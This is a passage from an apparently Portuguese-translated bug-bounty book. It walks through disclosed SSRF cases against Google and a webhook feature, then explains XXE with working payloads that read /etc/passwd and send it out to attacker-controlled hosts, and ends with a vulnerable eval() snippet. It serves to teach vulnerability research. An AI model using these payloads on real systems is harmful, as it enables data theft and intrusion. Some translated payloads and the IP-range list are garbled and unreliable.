apontar a consulta de DNS. Isso é significativo, pois sugere que os usuários podem enviar consultas de DNS para qualquer
endereço IP, possivelmente até endereços IP restritos à Internet, destinados ao uso apenas em redes privadas internas. Esses
intervalos de IP incluem:
• 10.0.0.0 - 10.255.255.255 • 100.64.0.0

- 100.127.255.255 • 127.0.0.0 - 127.255.255.255
• 172.16.0.0 - 172.31.255.255 • 192.0.0.0 -
192.0.0.0 - 192.0.0.0 - 192.0.0.0 - 192.0.0.0 -
192.0.0.0 - 192.0.0.0 - 192.0.0.0
• 198.18.0.0 - 198.19.255.255
Para começar a testar o campo de entrada, Julien enviou o endereço de host local comum 127.0.0.1
usado para endereçar o servidor que executa o comando. Fazer isso resultou na mensagem de erro “O
servidor não respondeu.”. Isso implicava que a ferramenta estava realmente tentando se conectar à sua
própria porta 53, a porta usada para responder às pesquisas de DNS, para obter informações sobre seu
site, rcesecurity.com.
Essa mensagem sutil é crucial porque revela uma vulnerabilidade em potencial. Em redes privadas
maiores, nem todos os servidores são voltados para a Internet, o que significa que apenas servidores
específicos podem ser acessados remotamente pelos usuários. Os servidores que executam sites são
um exemplo de servidores de Internet acessíveis intencionalmente. No entanto, se um dos servidores
em uma rede tiver acesso interno e externo e contiver uma vulnerabilidade SSRF, os invasores poderão
explorar esse servidor para obter acesso aos servidores internos. Isso é o que Julien estava procurando.
Na mesma nota, ele enviou a solicitação HTTP ao intruso Burp para começar a enumerar os endereços
IP internos no intervalo 10. Depois de alguns minutos, ele recebeu uma resposta de um 10. endereço IP
interno (ele propositadamente não divulgou qual) com um registro A vazio sobre seu domínio.
id 60520
opcode QUERY
rcode REFUSED
flags QR RD
RA ;PERGUNTA
www.rcesecurity.com EM
A ;RESPOSTA ;AUTORIDADE ;ADICIONAL
O fato de estar vazio não importa, pois esperaríamos que um servidor DNS interno não soubesse nada
sobre seu site externo. Seu conteúdo também não é importante para este exemplo. Em vez disso, o que
é promissor é o fato de que um servidor DNS com acesso interno foi encontrado.
O próximo passo foi recuperar informações sobre a rede interna do Google. A melhor maneira de fazer
isso é encontrar sua rede corporativa interna. Isso foi feito facilmente por meio de uma rápida pesquisa
no Google, que revelou uma postagem no HackerNews do ycombinator referenciando corp.google.com.
O motivo para segmentar o subdomínio corp.google.com é que suas informações de rede devem ser
internas e não acessíveis ao público.
Então, o próximo passo foi começar subdomínios de força bruta para corp.google.com que apareceram
ad.corp.google.com (aparentemente uma pesquisa no Google também teria mostrado isso). Ao enviar
este subdomínio e usar o endereço IP interno, o Google retornou várias informações privadas de DNS:
id 54403
opcode QUERY
rcode NOERROR
flags QR RD
RA ;QUESTION
ad.corp.google.com IN
A ;ANSWER ad.corp.google.com.
58 IN A 100.REMOVIDO ad.corp.google.com. 58 IN
A 172.REMOVIDO ad.corp.google.com. 58 IN A
172.REMOVIDO ad.corp.google.com. 58 IN A
172.REMOVIDO ad.corp.google.com. 58 IN A 100.
REDIGIDO ; AUTORIDADE ; ADICIONAL
Observe as referências aos endereços IP internos 100. e 172. Em comparação, a pesquisa

de DNS público para ad.corp.google.com retornou o seguinte:
você A ad.corp.google.com @8.8.8.8
; <<>> DiG 9.8.3-P1 <<>> A ad.corp.google.com @8.8.8.8 ;; opções

globais : +cmd ;; Resposta obtida : ;; ->>HEADER<<- opcode:
QUERY, status: NXDOMAIN, id: 5981 ;; bandeiras: qr rd ra;
PERGUNTA: 1, RESPOSTA: 0, AUTORIDADE: 1, ADICIONAL: 0
;; SEÇÃO DE
PERGUNTAS : ;ad.corp.google.com. EM UM
;; SEÇÃO DE AUTORIDADE :
corp.google.com. 59 EM SOA ns3.google.com. dns-admin.google.com. 147615698 900 90\ 0 1800 60
;; Tempo de consulta : 28
ms ;; SERVIDOR: 8.8.8.8#53(8.8.8.8)
;; QUANDO: quarta-feira, 15 de fevereiro 23:56:05
2017 ;; TAMANHO MSG recebido: 86

Também foi possível obter os servidores de nomes internos para ad.corp.google.com:
id 34583
opcode QUERY
rcode NOERROR
flags QR RD
RA ;QUESTION
ad.corp.google.com IN
NS ;ANSWER
ad.corp.google.com. 1904 IN NS hot-dcREDACTED
ad.corp.google.com. 1904 IN NS cbf-dcREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS vmgwsREDACTED
ad.corp.google.com. 1904 IN NS twd-dcREDACTED
ad.corp.google.com. 1904 IN NS twd-
dcREDIGIDO ;AUTORIDADE ;ADDICIONAL
Por fim, esses outros subdomínios também estavam acessíveis, incluindo um servidor minecraft
em minecraft.corp.google.com
Aprendizado
Fique atento às oportunidades em que os sites incluem funcionalidade para fazer
solicitações HTTP externas. Quando você se deparar com eles, tente apontar a
solicitação internamente usando o endereço IP da rede privada listado acima.
Se o site não acessar IPs internos, um truque que Justin Kennedy uma vez me
recomendou foi fazer a solicitação HTTP externa para um servidor que você controla e
responder a essa solicitação com um redirecionamento 301. Esse tipo de resposta
informa ao solicitante que o local do recurso solicitado foi alterado e aponta para um
novo local. Como você controla a resposta, pode apontar o redirecionamento para um
endereço IP interno para ver se o servidor fará a solicitação HTTP para a rede interna.
3. Varredura de portas internas
Dificuldade: Fácil
URL: N/A
Link do relatório: N/A
Data do relatório: outubro de 2017
Prêmio pago: não divulgado
Descrição:
Web hooks são uma funcionalidade comum que permite aos usuários solicitar que um site envie uma
solicitação para outro site remoto quando ocorrem determinadas ações. Por exemplo, um site de comércio
eletrônico pode permitir que os usuários configurem um web hook que envia informações de compra para
um site remoto sempre que um usuário envia um pedido. Web hooks que permitem ao usuário definir a
URL do site remoto fornecem uma oportunidade para SSRFs, mas o impacto de qualquer um pode ser
limitado, pois nem sempre é possível controlar a solicitação ou acessar a resposta.
Em outubro de 2017, eu estava testando um site quando percebi que ele oferecia a capacidade de criar
web hooks personalizados. Enviei o URL do gancho da web como http://localhost para ver se o servidor
se comunicaria consigo mesmo. No entanto, o site disse que isso não era permitido, então também tentei
http://127.0.0.1, mas também retornou uma mensagem de erro. Implacável, tentei referenciar 127.0.0.1
de outras maneiras. O Conversor de Endereço IP3 lista vários endereços IP alternativos, incluindo 127.0.1
e 127.1 , entre muitos outros. Ambos pareciam funcionar.
Enviei meu relatório, mas a gravidade disso era muito baixa para justificar uma recompensa, pois tudo o
que demonstrei foi a capacidade de ignorar a verificação do host local. Para ser elegível para uma
recompensa, eu precisava demonstrar a capacidade de comprometer sua infraestrutura ou extrair
informações.
O site também tinha um recurso chamado integrações na web, que permite aos usuários importar
conteúdo remoto para o site. Ao criar uma integração personalizada, posso fornecer um URL remoto que
retorna uma estrutura XML para o site analisar e renderizar para minha conta.
Para começar, enviei 127.0.0.1 e esperava que o site divulgasse algumas informações sobre a resposta.
Em vez disso, o site gerou um erro no lugar do conteúdo válido: 500 “Não foi possível conectar”. Isso
parecia promissor porque o site estava divulgando informações sobre a resposta. Em seguida, verifiquei
se conseguia me comunicar com as portas do servidor. Voltei para a configuração de integração e enviei
127.0.0.1:443, que é o endereço IP para acessar e a porta no servidor separados por dois pontos. Isso
me permitiu ver se o site poderia se comunicar na porta 443. Mais uma vez, obtive 500 “Não foi possível
conectar”. O mesmo para a porta 8080. Em seguida, tentei a porta 22, que é comumente usada para
conexão via SSH. Desta vez, recebi o erro 503, “Não foi possível recuperar todos os cabeçalhos”.
Bingo. Esta resposta foi diferente e confirmou uma conexão. “Não foi possível recuperar todos os
cabeçalhos” foi retornado porque eu estava enviando tráfego HTTP para uma porta que esperava o
protocolo SSH. Reenviei o relatório para demonstrar que poderia usar integrações da web
3https://www.psyon.org/tools/ip_address_converter.php?ip=127.0.0.1
para escanear a porta de seu servidor interno, pois as respostas foram diferentes para portas abertas/
fechadas e filtradas.
Aprendizado
Se você puder enviar um URL para criar web hooks ou importar conteúdo remoto
intencionalmente, tente definir portas específicas. Pequenas alterações em como um
servidor responde a diferentes portas podem revelar se uma porta está aberta/fechada
ou filtrada. Além das diferenças nas mensagens retornadas pelo servidor, as portas
podem revelar se estão abertas/fechadas ou filtradas por quanto tempo o servidor leva
para responder à solicitação.
Resumo
As falsificações de solicitações do lado do servidor ocorrem quando um servidor pode ser aproveitado
para fazer solicitações em nome de um invasor. No entanto, nem todas as solicitações acabam sendo
exploráveis. Por exemplo, só porque um site permite que você forneça um URL para uma imagem que
será copiada e usada em seu próprio site (como o exemplo da ESEA acima), não significa que o servidor
seja vulnerável. Descobrir isso é apenas o primeiro passo após o qual você precisará confirmar qual é o
potencial. Com relação ao ESEA, enquanto o site procurava arquivos de imagem, ele não estava
validando o que recebeu e poderia ser usado para renderizar XSS malicioso, bem como fazer solicitações
HTTP para seus próprios metadados EC2.
13. Vulnerabilidade de Entidade Externa XML

Descrição
Uma vulnerabilidade XML External Entity (XXE) envolve explorar como um aplicativo analisa a entrada
XML, mais especificamente, explorar como o aplicativo processa a inclusão de entidades externas
incluídas na entrada. Para obter uma apreciação completa de como isso é explorado e seu potencial,
acho melhor primeiro entendermos o que são a eXtensible Markup Language (XML) e as entidades
externas.
Uma metalinguagem é uma linguagem usada para descrever outras linguagens, e é isso que é XML. Ele
foi desenvolvido depois do HTML em parte, como uma resposta às deficiências do HTML, que é usado
para definir a exibição dos dados, com foco em como eles devem ser exibidos. Em contraste, o XML é
usado para definir como os dados devem ser estruturados.
Por exemplo, em HTML, você tem tags como <title>, <h1>, <table>, <p>, etc. todas elas são usadas
para definir como o conteúdo deve ser exibido. A tag <title> é usada para definir o título de uma página
(chocante), as tags <h1> referem-se a definir cabeçalhos, as tags <table> apresentam dados em linhas
e colunas e <p> são apresentadas como texto simples. Por outro lado, o XML não possui tags predefinidas.
Em vez disso, a pessoa que cria o documento XML define suas próprias tags para descrever o conteúdo
que está sendo apresentado. Aqui está um exemplo:
<?xml version="1.0" encoding="UTF-8"?

> <jobs> <job> <title>Hacker</title>
<compensation>1000000</
compensation> <responsibility
optional="1">Atirou na web </responsibility>
</job> </jobs>
Lendo isso, você provavelmente pode adivinhar o propósito do documento XML - apresentar uma
listagem de empregos, mas você não tem ideia de como isso pareceria se fosse apresentado em uma
página da web. A primeira linha do XML é um cabeçalho de declaração que indica a versão do XML a
ser usada e o tipo de codificação. No momento em que escrevo isto, existem duas versões de XML, 1.0 e 1.1.
Detalhar as diferenças entre 1.0 e 1.1 está além do escopo deste livro, pois elas não devem ter impacto
no seu hacking.
Vulnerabilidade de entidade externa XML 102
Após o cabeçalho inicial, a tag <jobs> é incluída e circunda todas as outras tags <job> , que incluem
as tags <title>, <compensation> e <responsabilidades> . Agora, enquanto no HTML algumas tags não
requerem tags de fechamento (por exemplo, <br>), todas as tags XML requerem uma tag de fechamento.
Novamente, com base no exemplo acima, <jobs> é uma tag inicial e </jobs> seria a tag final
correspondente. Além disso, cada tag tem um nome e pode ter um atributo.
Usando a tag <job>, o nome da tag é job , mas não possui atributos. <responsibility> , por outro lado,
tem o nome responsabilidade com um atributo opcional composto pelo nome do atributo opcional e
o valor do atributo 1.
Como qualquer pessoa pode definir qualquer tag, a pergunta óbvia é: como alguém sabe como analisar
e usar um documento XML se as tags podem ser qualquer coisa? Bem, um documento XML válido é
válido porque segue as regras gerais do XML (não preciso listá-las todas, mas ter uma tag de
fechamento é um exemplo que mencionei acima) e corresponde à sua definição de tipo de documento
(DTD). O DTD é a razão pela qual estamos mergulhando nisso porque é uma das coisas que permitirá
nossa exploração como hackers.
Um XML DTD é como um documento de definição para as tags que estão sendo usadas e é
desenvolvido pelo designer ou autor do XML. Com o exemplo acima, eu seria o designer, pois defini o
documento de jobs em XML. Um DTD definirá quais tags existem, quais atributos eles podem ter e
quais elementos podem ser encontrados em outros elementos, etc. Embora você e eu possamos criar
nossos próprios DTDs, alguns foram formalizados e são amplamente usados, incluindo Really Simple
Syndication (RSS) , recursos de dados gerais (RDF), informações de saúde (HL7 SGML/XML), etc.
Aqui está a aparência de um arquivo DTD para o meu XML acima:
<!ELEMENT Cargos
(Job)*> <!ELEMENT Cargo (Cargo, Remuneração,
Responsabilidade)> <!ELEMENT Cargo (#PCDATA)> <!
ELEMENT Remuneração (#PCDATA)> <!ELEMENT
Responsabilidade(#PCDATA)> <! ATTLIST Responsabilidade
opcional CDATA "0">
Olhando para isso, você provavelmente pode adivinhar o que significa a maior parte. Nossa tag <jobs>
é na verdade um XML !ELEMENT e pode conter o elemento Job. Um Trabalho é um !ELEMENTO que
pode conter um Título, Remuneração e Responsabilidade, os quais também são !ELEMENTOS e
podem conter apenas dados de caracteres, denotados por (#PCDATA). Por fim, a !ELEMENT
Responsibility possui um possível atributo (!ATTLIST) opcional cujo valor padrão é 0.
Não é muito difícil, certo? Além dos DTDs, ainda existem duas tags importantes que não discutimos,
as tags !DOCTYPE e !ENTITY . Até aqui, insinuei que os arquivos DTD são externos ao nosso XML.
Lembre-se do primeiro exemplo acima, o documento XML não incluía as definições de tag, isso foi feito
pelo nosso DTD no segundo exemplo.
Porém, é possível incluir a DTD dentro do próprio documento XML e para isso,
a primeira linha do XML deve ser um elemento <!DOCTYPE> . Combinando nossos dois exemplos acima,
obteríamos um documento parecido com:
<?xml version="1.0" encoding="UTF-8"?> <!

DOCTYPE Cargos [ <!ELEMENT Cargo (Título,
Remuneração, Responsabilidade)> <!ELEMENT Título
(#PCDATA)> <!ELEMENT Compensação (#PCDATA )> <!
ELEMENT Responsabilidade(#PCDATA)> <!ATTLIST
Responsabilidade opcional CDATA "0"> ]> <jobs> <job>
<title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Vá para a web</responsibility> </job>
</jobs>
Aqui, temos o que chamamos de Declaração DTD Interna. Observe que ainda começamos com um cabeçalho
de declaração indicando que nosso documento está em conformidade com XML 1.0 com codificação UTF-8,
mas logo após definimos nosso DOCTYPE para o XML a seguir. O uso de um DTD externo seria semelhante,
exceto que !DOCTYPE se pareceria com <!DOCTYPE jobs SYSTEM "jobs.dtd">. O analisador XML analisaria o
conteúdo do arquivo jobs.dtd ao analisar o arquivo XML. Isso é importante porque a tag !ENTITY é tratada de
forma semelhante e fornece o ponto crucial para nossa exploração.
Uma entidade XML é como um espaço reservado para informações. Usando nosso exemplo anterior novamente,
se quiséssemos que cada trabalho incluísse um link para nosso site, seria tedioso escrever o endereço todas as
vezes, especialmente se nosso URL pudesse mudar. Em vez disso, podemos usar um !ENTITY e fazer com que
o analisador busque o conteúdo no momento da análise e insira o valor no documento. Espero que você veja
onde quero chegar com isso.
Semelhante a um arquivo DTD externo, podemos atualizar nosso arquivo XML para incluir esta ideia:
<?xml version="1.0" encoding="UTF-8"?> <!

DOCTYPE Cargos [ <!ELEMENT Cargo
(Título, Remuneração, Responsabilidade, Site)> <!ELEMENT Título
(#PCDATA)> <!ELEMENT Remuneração ( #PCDATA)> <!ELEMENT
Responsabilidade(#PCDATA)> <!ATTLIST Responsabilidade opcional
CDATA "0"> <!ELEMENT Website ANY>
<!ENTITY url SYSTEM "website.txt">
]>
<jobs>
<job> <title>Hacker</title>
<compensation>1000000</compensation>
<responsibility optional="1">Vá para a web</responsibility>
<website>&url;</website> </job> </jobs>
Aqui, você notará que fui em frente e adicionei um Website !ELEMENT, mas em vez de (#PCDATA),
adicionei ANY. Isso significa que a tag do site pode conter qualquer combinação de dados
analisáveis. Também defini um !ENTITY com um atributo SYSTEM informando ao analisador para
obter o conteúdo do arquivo website.txt. As coisas devem estar ficando mais claras agora.
Juntando tudo isso, o que você acha que aconteceria se em vez de “website.txt” eu incluísse “/etc/
passwd”? Como você provavelmente adivinhou, nosso XML seria analisado e o conteúdo do arquivo
confidencial do servidor /etc/passwd seria incluído em nosso conteúdo. Mas nós somos os autores
do XML, então por que faríamos isso?
Bem, um ataque XXE é possível quando um aplicativo vítima pode ser abusado para incluir tais
entidades externas em sua análise XML. Em outras palavras, o aplicativo tem algumas expectativas
de XML, mas não está validando o que está recebendo e, portanto, apenas analisa o que recebe.
Por exemplo, digamos que eu esteja executando um quadro de trabalho e permito que você registre
e carregue trabalhos via XML. Desenvolvendo meu aplicativo, posso disponibilizar meu arquivo DTD
para você e presumir que você enviará um arquivo que corresponda aos requisitos. Não
reconhecendo o perigo disso, decido analisar inocentemente o que recebo sem qualquer validação.
Mas sendo um hacker, você decide enviar:
<?xml version="1.0" encoding="ISO-8859-1"?> <!

DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY
xxe SYSTEM "file:///etc/passwd" > ]
>
<foo>&xxe;</foo>
Como você sabe agora, meu analisador receberia isso e reconheceria um DTD interno definindo um
tipo de documento foo informando que foo pode incluir quaisquer dados analisáveis e que há um !
ENTITY xxe que deve ler meu arquivo /etc/passwd (o uso do arquivo: // é usado para denotar um
caminho uri de arquivo completo para o arquivo /etc/passwd) quando o documento é analisado e
substitui &xxe; elementos com esses conteúdos de arquivo. Em seguida, você finaliza com o XML válido
definindo uma tag <foo> , que imprime as informações do meu servidor. E é por isso amigos que o XXE é tão perigoso.
Mas espere, há mais. E se o aplicativo não imprimisse uma resposta, ele apenas analisasse seu
conteúdo. Usando o exemplo acima, o conteúdo seria analisado, mas nunca retornado para nós. Bem,
e se, em vez de incluir um arquivo local, você decidisse entrar em contato com um servidor malicioso
da seguinte forma:
<?xml version="1.0" encoding="ISO-8859-1"?> <!

DOCTYPE foo [
<!ELEMENT foo QUALQUER >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" > <!

ENTITY callhome SYSTEM "www.malicious.com/?%xxe;"> ]
>
<foo>&callhome;</foo>
Antes de explicar isso, você deve ter percebido o uso de % em vez de & no callhome URL, %xxe;. Isso
ocorre porque o % é usado quando a entidade deve ser avaliada dentro da própria definição de DTD e
o & quando a entidade é avaliada no documento XML. Agora, quando o documento XML for analisado,
o callhome !ENTITY lerá o conteúdo do arquivo /etc/passwd e fará uma chamada remota para
www.malicous.com enviando o conteúdo do arquivo como um parâmetro de URL. Como controlamos
esse servidor, podemos verificar nossos logs e, com certeza, ter o conteúdo de /etc/passwd. Fim do
jogo para o aplicativo da web.
Então, como os sites os protegem contra vulnerabilidades XXE? Eles desabilitam a análise de entidades
externas.
Exemplos
1. Leia o acesso ao Google
Dificuldade: Média
URL: google.com/gadgets/directory?synd=toolbar
Link do relatório: Detectar Blog1
Data do relatório: abril de 2014
Descrição:
Sabendo o que sabemos sobre XML e entidades externas, essa vulnerabilidade é bastante direta. A galeria de
botões da barra de ferramentas do Google permitia que os desenvolvedores definissem seus próprios botões
fazendo upload de arquivos XML contendo metadados específicos.
No entanto, de acordo com a equipe do Detectify, ao enviar um arquivo XML com um !ENTITY referenciando um
arquivo externo, o Google analisou o arquivo e passou a renderizar o conteúdo.
Como resultado, a equipe usou a vulnerabilidade XXE para renderizar o conteúdo do arquivo /etc/passwd dos
servidores. Fim de jogo.
1https://blog.detectify.com/2014/04/11/how-we-got-read-access-on-googles-production-servers
Detectar captura de tela dos arquivos internos do Google
Aprendizado
Mesmo os Big Boys podem ser vulneráveis. Embora este relatório tenha quase 2 anos,
ainda é um grande exemplo de como as grandes empresas podem cometer erros. O XML
necessário para fazer isso pode ser facilmente carregado em sites que usam analisadores de XML.
No entanto, às vezes o site não emite uma resposta, então você precisará testar outras
entradas da folha de dicas OWASP acima.
2. Facebook XXE com Word
URL: facebook.com/careers
Link de relatório: Ataque Secure2
Data do relatório: abril de 2014

2http://www.attack-secure.com/blog/hacked-facebook-word-document
Descrição:
Este XXE é um pouco diferente e mais desafiador do que o primeiro exemplo, pois envolve chamar
remotamente um servidor conforme discutimos na descrição.
No final de 2013, o Facebook corrigiu uma vulnerabilidade XXE de Reginaldo Silva, que poderia ter
sido escalada para uma vulnerabilidade de Execução Remota de Código, pois o conteúdo do
arquivo /etc/passwd estava acessível. Isso pagou cerca de US $ 30.000.
Como resultado, quando Mohamed se desafiou a hackear o Facebook em abril de 2014, ele não
pensou que XXE fosse uma possibilidade até que encontrou sua página de carreiras que permitia
aos usuários fazer upload de arquivos .docx que podem incluir XML. Para quem não sabe, o tipo
de arquivo .docx é apenas um arquivo para arquivos XML. Então, segundo Mohamed, ele criou um
arquivo .docx e abriu com 7zip para extrair o conteúdo e inseriu o seguinte payload em um dos
arquivos XML:
<!DOCTYPE root
[ <!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://197.37.102.90/ext.dtd">
%dtd; %mandar; ]]>
Como você reconhecerá, se a vítima tiver entidades externas habilitadas, o analisador XML avaliará
o &dtd; entidade que faz uma chamada remota para http://197.37.102.90/ext.dtd. Essa chamada
retornaria:
<!ENTITY send SYSTEM 'http://197.37.102.90/?FACEBOOK-HACKED%26file;'>"
Então, agora %dtd; referenciaria o arquivo ext.dtd externo e faria o %send; entidade disponível. Em
seguida, o analisador analisaria %send; que na verdade faria uma chamada remota para http://
197.37.102.90/%file;. O arquivo; referência é na verdade uma referência ao arquivo /etc/passwd
em uma tentativa de anexar seu conteúdo ao http://197.37.102.90/%file; ligar.
Como resultado disso, Mohamed iniciou um servidor local para receber a chamada e o conteúdo
usando Python e SimpleHTTPServer. A princípio, ele não recebeu uma resposta, mas esperou e
então recebeu isto:
Último login: terça, 8 de julho, 09:11:09 no console

Mohamed:~ mohaab007: sudo python -m SimpleHTTPServer 80
Senha:
Servindo HTTP na porta 80 0.0.0.0...
173.252.71.129 -- [08/Jul/2014 09:21:10] "GET /ext.dtd HTTP/1.0" 200 -
173.252.71.129 -- [08/Jul/2014 09:21:11] "GET /ext .dtd HTTP/1.0" 200 -
173.252.71.129 -- [08/Jul/2014 09:21:11] código 404, mensagem Arquivo não
encontrado 173.252.71.129 -- [08/Jul/2014 09:21:11] " OBTER /FACEBOOK HACKEADO? HTTP/1.0" 404
Isso começa com o comando para executar SimpleHTTPServer. O terminal fica na mensagem de
serviço até que haja uma solicitação HTTP para o servidor. Isso acontece quando ele recebe uma
solicitação GET para /ext.dtd. Posteriormente, como esperado, vemos a chamada de volta para o
servidor /FACEBOOK-HACKED? mas, infelizmente, sem o conteúdo do arquivo /etc/passwd
anexado. Isso significa que Mohamed não conseguiu ler arquivos locais ou /etc/passwd não existia.
Antes de prosseguirmos, devo sinalizar - Mohamed poderia ter enviado um arquivo que não incluía
<!ENTITY % dtd SYSTEM “http://197.37.102.90/ext.dtd”>, em vez disso, apenas incluindo uma
tentativa de ler o arquivo local. No entanto, o valor após suas etapas é que a chamada inicial para
o arquivo DTD remoto, se bem-sucedida, demonstrará uma vulnerabilidade XXE. A tentativa de
extrair o arquivo /etc/passwd é apenas uma forma de abusar do XXE. Portanto, neste caso, como
ele gravou as chamadas HTTP para seu servidor do Facebook, ele pôde provar que estavam
analisando entidades XML remotas e que existia uma vulnerabilidade.
No entanto, quando Mohamed relatou o bug, o Facebook respondeu pedindo um vídeo de prova de
conceito porque não conseguiu replicar o problema. Depois de fazer isso, o Facebook respondeu
rejeitando o envio, sugerindo que um recrutador havia clicado em um link, que iniciou a solicitação
em seu servidor. Depois de trocar alguns e-mails, a equipe do Facebook parece ter feito mais
pesquisas para confirmar a existência da vulnerabilidade e premiado com uma recompensa,
enviando um e-mail explicando que o impacto deste XXE foi menos severo do que o inicial em 2013
porque a exploração de 2013 poderia ter foi escalado para uma Execução Remota de Código,
enquanto o de Mohamed não poderia, embora ainda constituísse uma exploração válida.
Resposta oficial do Facebook
Aprendizado
Há alguns tópicos aqui. Os arquivos XML vêm em diferentes formas e tamanhos - fique
atento a sites que aceitam .docx, .xlsx, .pptx, etc. Como mencionei anteriormente, às vezes
você não receberá a resposta de XXE imediatamente - este exemplo mostra como você
pode configurar um servidor para ser pingado, o que demonstra o XXE.
Além disso, como em outros exemplos, às vezes os relatórios são inicialmente rejeitados. É
importante ter confiança e mantê-la trabalhando com a empresa à qual você está se
reportando, respeitando sua decisão e explicando por que algo pode ser uma vulnerabilidade.
3. Wikiloc XXE
URL: wikiloc.com
Link da denúncia: Blog do David Sopas3
Data do relatório: outubro de 2015
Recompensa Paga: Swag
Descrição:
De acordo com seu site, Wikiloc é um lugar para descobrir e compartilhar as melhores trilhas ao ar livre para
caminhadas, ciclismo e muitas outras atividades. Curiosamente, eles também permitem que os usuários carreguem
suas próprias trilhas por meio de arquivos XML, o que acaba sendo bastante atraente para hackers ciclistas como
David Sopas.
Com base em sua redação, David se registrou no Wikiloc e, percebendo o upload do XML, decidiu testá-lo em busca
de uma vulnerabilidade XXE. Para começar, ele baixou um arquivo do site para determinar sua estrutura XML, no
caso, um arquivo .gpx e injetou **<!DOCTYPE foo [<!ENTITY xxe SYSTEM “http://www.davidsopas.com/XXE ” > ]>;
Em seguida, ele chamou a entidade de dentro do nome da faixa no arquivo .gpx na linha 13:
1 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://www.davidsopas.com/XXE"

> ]> 2 <gpx 3 version="1.0"
4 criador="GPSBabel - http://www.gpsbabel.org" 5
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 6
xmlns="http://www.topografix. com/GPX/1/0" 7
xsi:schemaLocation="http://www.topografix.com/GPX/1/1 http://www.topografix.com/GPX\ 8 /1/1/
gpx.xsd "> 9 <time>2015-10-29T12:53:09Z</time>
10 <bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8\

11 .037170000"/> 12
<trk>
13 <name>&xxe;</name>
14 <trkseg> 15 <trkpt
lat="40.737758000" lon="-8.093361000"> 16
<ele>178.000000</ele> 17 <time>2009-01-10T14:18:
18. 10Z</hora>
18 (...)
Isso resultou em uma solicitação HTTP GET para seu servidor, GET 144.76.194.66 /XXE/ 29/10/15 13h02 Java/
1.7.0_51. Isso é notável por dois motivos: primeiro, ao usar uma simples prova de chamada de conceito, David pôde
confirmar que o servidor estava avaliando seu XML injetado e que o servidor faria chamadas externas. Em segundo
lugar, David usou o documento XML existente para que seu conteúdo se encaixasse na estrutura que o site esperava.
Enquanto ele não discute
3www.davidsopas.com/wikiloc-xxe-vulnerability
isso, a necessidade de chamar seu servidor pode não ser necessária se ele pudesse ler o arquivo /
etc/passwd e renderizar o conteúdo no elemento <name>.
Depois de confirmar que o Wikiloc faria solicitações HTTP externas, a única outra questão era se
ele leria arquivos locais. Então, ele modificou seu XML injetado para que o Wikiloc enviasse a ele
o conteúdo do arquivo /etc/passwd:
1 <!DOCTYPE roottag [ 2
<!ENTITY % file SYSTEM "file:///etc/issue">
3 <!ENTITY % dtd SYSTEM "http://www.davidsopas.com/poc/xxe.dtd"> 4
%dtd;]> 5 <gpx 6 version="1.0" 7 criador="GPSBabel - http://
www.gpsbabel.org" 8 xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance" 9 xmlns="http://www.topografix.com/GPX/1/0" 10
xsi :schemaLocation="http://www.topografix.com/GPX/1/1 http://
www.topografix.com/GPX\ 11 /1/1/gpx.xsd"> 12 <time>2015-10-
29T12:53:09Z</hora>
13 <bounds minlat="40.734267000" minlon="-8.265529000" maxlat="40.881475000" maxlon="-8\

14 .037170000"/>
15 <trk>
16 <nome>&enviar;</nome>
17 (...)
Isso deve parecer familiar. Aqui ele usou duas entidades que devem ser avaliadas no DTD, então
elas são definidas usando o %. A referência a &send; na tag <name>, na verdade, é definido pelo
arquivo xxe.dtd retornado que ele envia de volta ao Wikiloc. Aqui está esse arquivo:
<?xml version="1.0" encoding="UTF-8"?>

<!ENTITY % all "<!ENTITY send SYSTEM 'http://www.davidsopas.com/XXE?%file;'>">
%all ;
Observe o %all; que na verdade define o envio !ENTITY que acabamos de notar na tag <name>.
Veja como é o processo de avaliação:
1. Wikiloc analisa o XML e avalia %dtd; como uma chamada externa para o servidor de
David 2. O servidor de David retorna o arquivo xxe.dtd para o Wikiloc 3. O Wikiloc analisa o
arquivo DTD recebido que aciona a chamada para %all 4. Quando %all é avaliado, ele
define &send; que inclui uma chamada na entidade %file 5. %file; é substituído no valor url
pelo conteúdo do arquivo /etc/passwd
6. O Wikiloc analisa o documento XML encontrando o &send; entidade que avalia para uma chamada remota
para o servidor de David com o conteúdo de /etc/passwd como um parâmetro na URL
Em suas próprias palavras, game over.
Aprendizado
Conforme mencionado, este é um ótimo exemplo de como você pode usar modelos XML de um
site para incorporar suas próprias entidades XML para que o arquivo seja analisado corretamente
pelo destino. Neste caso, o Wikiloc esperava um arquivo .gpx e David manteve essa estrutura,
inserindo suas próprias entidades XML dentro das tags esperadas, especificamente, a tag <name>.
Além disso, é interessante ver como o retorno de um arquivo dtd malicioso pode ser aproveitado
para subsequentemente fazer com que um alvo faça solicitações GET ao seu servidor com o
conteúdo do arquivo como parâmetros de URL.
Resumo
XXE representa um vetor de ataque interessante com grande potencial. Existem algumas maneiras de fazer isso,
como vimos, que incluem obter um aplicativo vulnerável para imprimir seu arquivo /etc/passwd, chamar um servidor
remoto com o arquivo /etc/passwd e chamar um DTD remoto arquivo que instrui o analisador a retornar a chamada
para um servidor com o arquivo /etc/passwd.
Como hacker, fique atento aos uploads de arquivos, especialmente aqueles que usam alguma forma de XML, eles
sempre devem ser testados quanto a vulnerabilidades XXE.
14. Execução Remota de Código
Descrição
A Execução Remota de Código refere-se à injeção de código que é interpretado e executado por um aplicativo
vulnerável. Isso geralmente é causado por um usuário que envia uma entrada que o aplicativo usa sem
qualquer tipo de sanitização ou validação.
Isso pode se parecer com o seguinte:
$var = $_GET['página'];
eval($var);
Aqui, um aplicativo vulnerável pode usar o url index.php?page=1 , no entanto, se um usuário inserir index.php?
page=1;phpinfo() , o aplicativo executará a função phpinfo() e retornará seu conteúdo.
Da mesma forma, a execução remota de código às vezes é usada para se referir à injeção de comando, que o
OWASP diferencia. Com a injeção de comando, de acordo com a OWASP, um aplicativo vulnerável executa
comandos arbitrários no sistema operacional do host. Novamente, isso é possível por não sanitizar ou validar
adequadamente a entrada do usuário, o que resulta na passagem da entrada do usuário para os comandos do
sistema operacional.
